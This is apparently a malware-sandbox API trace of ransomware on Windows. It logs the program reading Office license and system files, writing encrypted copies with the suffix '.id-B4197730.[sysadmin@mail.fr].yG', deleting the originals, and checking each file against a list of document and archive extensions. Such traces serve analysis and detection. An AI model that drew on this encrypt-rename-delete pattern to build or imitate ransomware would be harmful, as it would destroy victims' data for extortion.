	[0177.817] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0177.818] GetLastError () returned 0x0
	[0177.818] ReadFile (in: hFile=0x29c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x6c57, lpOverlapped=0x0) returned 1
	[0177.851] WriteFile (in: hFile=0x3dc, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x6c60, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x6c60, lpOverlapped=0x0) returned 1
	[0177.852] ReadFile (in: hFile=0x29c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.852] WriteFile (in: hFile=0x3dc, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x128, lpOverlapped=0x0) returned 1
	[0177.853] SetEndOfFile (hFile=0x3dc) returned 1
	[0177.853] CloseHandle (hObject=0x3dc) returned 1
	[0177.853] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.853] SetEndOfFile (hFile=0x29c) returned 1
	[0177.856] CloseHandle (hObject=0x29c) returned 1
	[0177.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0177.857] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ppd.xrm-ms")) returned 1
	[0177.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms") returned 92
	[0177.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms") returned 92
	[0177.858] lstrlenW (lpString=".doc") returned 4
	[0177.858] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0177.858] lstrlenW (lpString=".docx") returned 5
	[0177.858] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0177.858] lstrlenW (lpString=".pdf") returned 4
	[0177.858] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0177.859] lstrlenW (lpString=".xls") returned 4
	[0177.859] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0177.859] lstrlenW (lpString=".xlsx") returned 5
	[0177.859] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0177.859] lstrlenW (lpString=".ppt") returned 4
	[0177.859] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0177.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms") returned 92
	[0177.859] lstrlenW (lpString=".zip") returned 4
	[0177.859] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0177.859] lstrlenW (lpString=".rar") returned 4
	[0177.859] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0177.859] lstrlenW (lpString=".bz2") returned 4
	[0177.859] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0177.859] lstrlenW (lpString=".7z") returned 3
	[0177.859] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0177.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms") returned 92
	[0177.859] lstrlenW (lpString=".dbf") returned 4
	[0177.859] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0177.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms") returned 92
	[0177.859] lstrlenW (lpString=".1cd") returned 4
	[0177.859] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0177.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms") returned 92
	[0177.859] lstrlenW (lpString=".jpg") returned 4
	[0177.859] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0177.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0177.861] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=11671) returned 1
	[0177.861] CloseHandle (hObject=0x29c) returned 1
	[0177.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ul-oob.xrm-ms")) returned 0x220
	[0177.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0177.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0177.862] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.862] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0177.863] GetLastError () returned 0x0
	[0177.863] ReadFile (in: hFile=0x29c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2d97, lpOverlapped=0x0) returned 1
	[0177.869] WriteFile (in: hFile=0x3dc, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2da0, lpOverlapped=0x0) returned 1
	[0177.871] ReadFile (in: hFile=0x29c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.871] WriteFile (in: hFile=0x3dc, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x12e, lpOverlapped=0x0) returned 1
	[0177.871] SetEndOfFile (hFile=0x3dc) returned 1
	[0177.871] CloseHandle (hObject=0x3dc) returned 1
	[0177.871] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.871] SetEndOfFile (hFile=0x29c) returned 1
	[0177.925] CloseHandle (hObject=0x29c) returned 1
	[0177.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0178.020] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ul-oob.xrm-ms")) returned 1
	[0178.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms") returned 95
	[0178.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms") returned 95
	[0178.022] lstrlenW (lpString=".doc") returned 4
	[0178.022] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.022] lstrlenW (lpString=".docx") returned 5
	[0178.022] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.022] lstrlenW (lpString=".pdf") returned 4
	[0178.022] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.022] lstrlenW (lpString=".xls") returned 4
	[0178.022] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.022] lstrlenW (lpString=".xlsx") returned 5
	[0178.022] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.022] lstrlenW (lpString=".ppt") returned 4
	[0178.022] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms") returned 95
	[0178.022] lstrlenW (lpString=".zip") returned 4
	[0178.022] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.022] lstrlenW (lpString=".rar") returned 4
	[0178.022] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.022] lstrlenW (lpString=".bz2") returned 4
	[0178.022] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.022] lstrlenW (lpString=".7z") returned 3
	[0178.022] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms") returned 95
	[0178.022] lstrlenW (lpString=".dbf") returned 4
	[0178.022] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms") returned 95
	[0178.022] lstrlenW (lpString=".1cd") returned 4
	[0178.023] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ul-oob.xrm-ms") returned 95
	[0178.023] lstrlenW (lpString=".jpg") returned 4
	[0178.023] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.023] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x596d10 | out: hHeap=0x4f0000) returned 1
	[0178.023] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ce10 | out: hHeap=0x4f0000) returned 1
	[0178.023] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38f6e90 | out: hHeap=0x4f0000) returned 1
	[0178.024] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3906e98 | out: hHeap=0x4f0000) returned 1
	[0178.025] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e2020 | out: hHeap=0x4f0000) returned 1
	[0178.030] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x596c98 | out: hHeap=0x4f0000) returned 1
	[0178.030] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x45921d0
	[0178.030] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x45921d0, Size=0x20) returned 0x45b05c0
	[0178.030] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x45921d0
	[0178.031] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x45921d0, Size=0x20) returned 0x45b0610
	[0178.031] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0178.031] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0178.031] Wow64DisableWow64FsRedirection (in: OldValue=0x3dfff50 | out: OldValue=0x3dfff50*=0x1) returned 1
	[0178.031] lstrlenW (lpString="kernel32.dll") returned 12
	[0178.031] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b0610 | out: hHeap=0x4f0000) returned 1
	[0178.031] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0178.031] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b05c0 | out: hHeap=0x4f0000) returned 1

Thread:
	id = 51
	os_tid = 0xe44

	[0134.126] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x3916ea0
	[0134.126] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x3926ea8
	[0134.127] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x596cb0
	[0134.127] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x54ce20
	[0134.127] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x596d28
	[0134.127] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x43f0020
	[0134.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x596dd0
	[0134.130] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x596dd0, Size=0x20) returned 0x52d9a0
	[0134.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x596d40
	[0134.131] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x596d40, Size=0x20) returned 0x52dce8
	[0134.131] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0134.131] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0134.131] Wow64DisableWow64FsRedirection (in: OldValue=0x3f3ff50 | out: OldValue=0x3f3ff50*=0x0) returned 1
	[0134.131] lstrlenW (lpString="kernel32.dll") returned 12
	[0134.131] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d9a0 | out: hHeap=0x4f0000) returned 1
	[0134.131] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0134.131] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dce8 | out: hHeap=0x4f0000) returned 1
	[0134.131] Sleep (dwMilliseconds=0x64) 
	[0134.461] Sleep (dwMilliseconds=0x64) 
	[0134.750] lstrcmpiW (lpString1=".ttf", lpString2=".yG") returned -1
	[0134.750] lstrlenW (lpString="msyhn_boot.ttf") returned 14
	[0134.750] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0135.193] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=154427) returned 1
	[0135.193] CloseHandle (hObject=0x394) returned 1
	[0135.193] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf")) returned 0x20
	[0135.880] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0136.053] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0136.053] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0136.053] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0136.053] lstrlenW (lpString=".doc") returned 4
	[0136.053] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0136.053] lstrlenW (lpString=".docx") returned 5
	[0136.053] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0136.053] lstrlenW (lpString=".pdf") returned 4
	[0136.053] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0136.053] lstrlenW (lpString=".xls") returned 4
	[0136.053] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0136.053] lstrlenW (lpString=".xlsx") returned 5
	[0136.053] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0136.054] lstrlenW (lpString=".ppt") returned 4
	[0136.054] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0136.054] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0136.054] lstrlenW (lpString=".zip") returned 4
	[0136.054] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0136.054] lstrlenW (lpString=".rar") returned 4
	[0136.054] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0136.054] lstrlenW (lpString=".bz2") returned 4
	[0136.054] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0136.054] lstrlenW (lpString=".7z") returned 3
	[0136.054] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0136.054] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0136.054] lstrlenW (lpString=".dbf") returned 4
	[0136.054] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0136.054] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0136.054] lstrlenW (lpString=".1cd") returned 4
	[0136.054] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0136.054] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0136.054] lstrlenW (lpString=".jpg") returned 4
	[0136.054] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0136.054] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0136.054] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0136.054] lstrlenW (lpString=".doc") returned 4
	[0136.054] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0136.054] lstrlenW (lpString=".docx") returned 5
	[0136.054] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0136.054] lstrlenW (lpString=".pdf") returned 4
	[0136.055] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0136.055] lstrlenW (lpString=".xls") returned 4
	[0136.055] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0136.055] lstrlenW (lpString=".xlsx") returned 5
	[0136.055] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0136.055] lstrlenW (lpString=".ppt") returned 4
	[0136.055] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0136.055] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0136.055] lstrlenW (lpString=".zip") returned 4
	[0136.055] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0136.055] lstrlenW (lpString=".rar") returned 4
	[0136.055] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0136.055] lstrlenW (lpString=".bz2") returned 4
	[0136.055] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0136.055] lstrlenW (lpString=".7z") returned 3
	[0136.055] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0136.055] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0136.055] lstrlenW (lpString=".dbf") returned 4
	[0136.055] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0136.055] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0136.055] lstrlenW (lpString=".1cd") returned 4
	[0136.055] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0136.055] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0136.055] lstrlenW (lpString=".jpg") returned 4
	[0136.055] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0136.069] lstrcmpiW (lpString1=".mui", lpString2=".yG") returned -1
	[0136.069] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0136.069] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0136.077] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=11264) returned 1
	[0136.078] CloseHandle (hObject=0x3a8) returned 1
	[0136.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui")) returned 0x20
	[0136.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0136.078] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0136.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui") returned 72
	[0136.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui") returned 72
	[0136.078] lstrlenW (lpString=".doc") returned 4
	[0136.078] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0136.078] lstrlenW (lpString=".docx") returned 5
	[0136.078] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0136.078] lstrlenW (lpString=".pdf") returned 4
	[0136.078] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0136.078] lstrlenW (lpString=".xls") returned 4
	[0136.078] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0136.078] lstrlenW (lpString=".xlsx") returned 5
	[0136.078] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0136.078] lstrlenW (lpString=".ppt") returned 4
	[0136.078] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0136.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui") returned 72
	[0136.079] lstrlenW (lpString=".zip") returned 4
	[0136.079] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0136.079] lstrlenW (lpString=".rar") returned 4
	[0136.079] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0136.079] lstrlenW (lpString=".bz2") returned 4
	[0136.079] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0136.079] lstrlenW (lpString=".7z") returned 3
	[0136.079] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0136.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui") returned 72
	[0136.079] lstrlenW (lpString=".dbf") returned 4
	[0136.079] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0136.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui") returned 72
	[0136.079] lstrlenW (lpString=".1cd") returned 4
	[0136.079] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0136.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui") returned 72
	[0136.079] lstrlenW (lpString=".jpg") returned 4
	[0136.079] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0136.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui") returned 72
	[0136.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui") returned 72
	[0136.079] lstrlenW (lpString=".doc") returned 4
	[0136.079] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0136.079] lstrlenW (lpString=".docx") returned 5
	[0136.079] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0136.079] lstrlenW (lpString=".pdf") returned 4
	[0136.079] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0136.079] lstrlenW (lpString=".xls") returned 4
	[0136.080] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0136.080] lstrlenW (lpString=".xlsx") returned 5
	[0136.080] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0136.080] lstrlenW (lpString=".ppt") returned 4
	[0136.080] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0136.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui") returned 72
	[0136.080] lstrlenW (lpString=".zip") returned 4
	[0136.080] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0136.080] lstrlenW (lpString=".rar") returned 4
	[0136.080] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0136.080] lstrlenW (lpString=".bz2") returned 4
	[0136.080] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0136.080] lstrlenW (lpString=".7z") returned 3
	[0136.080] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
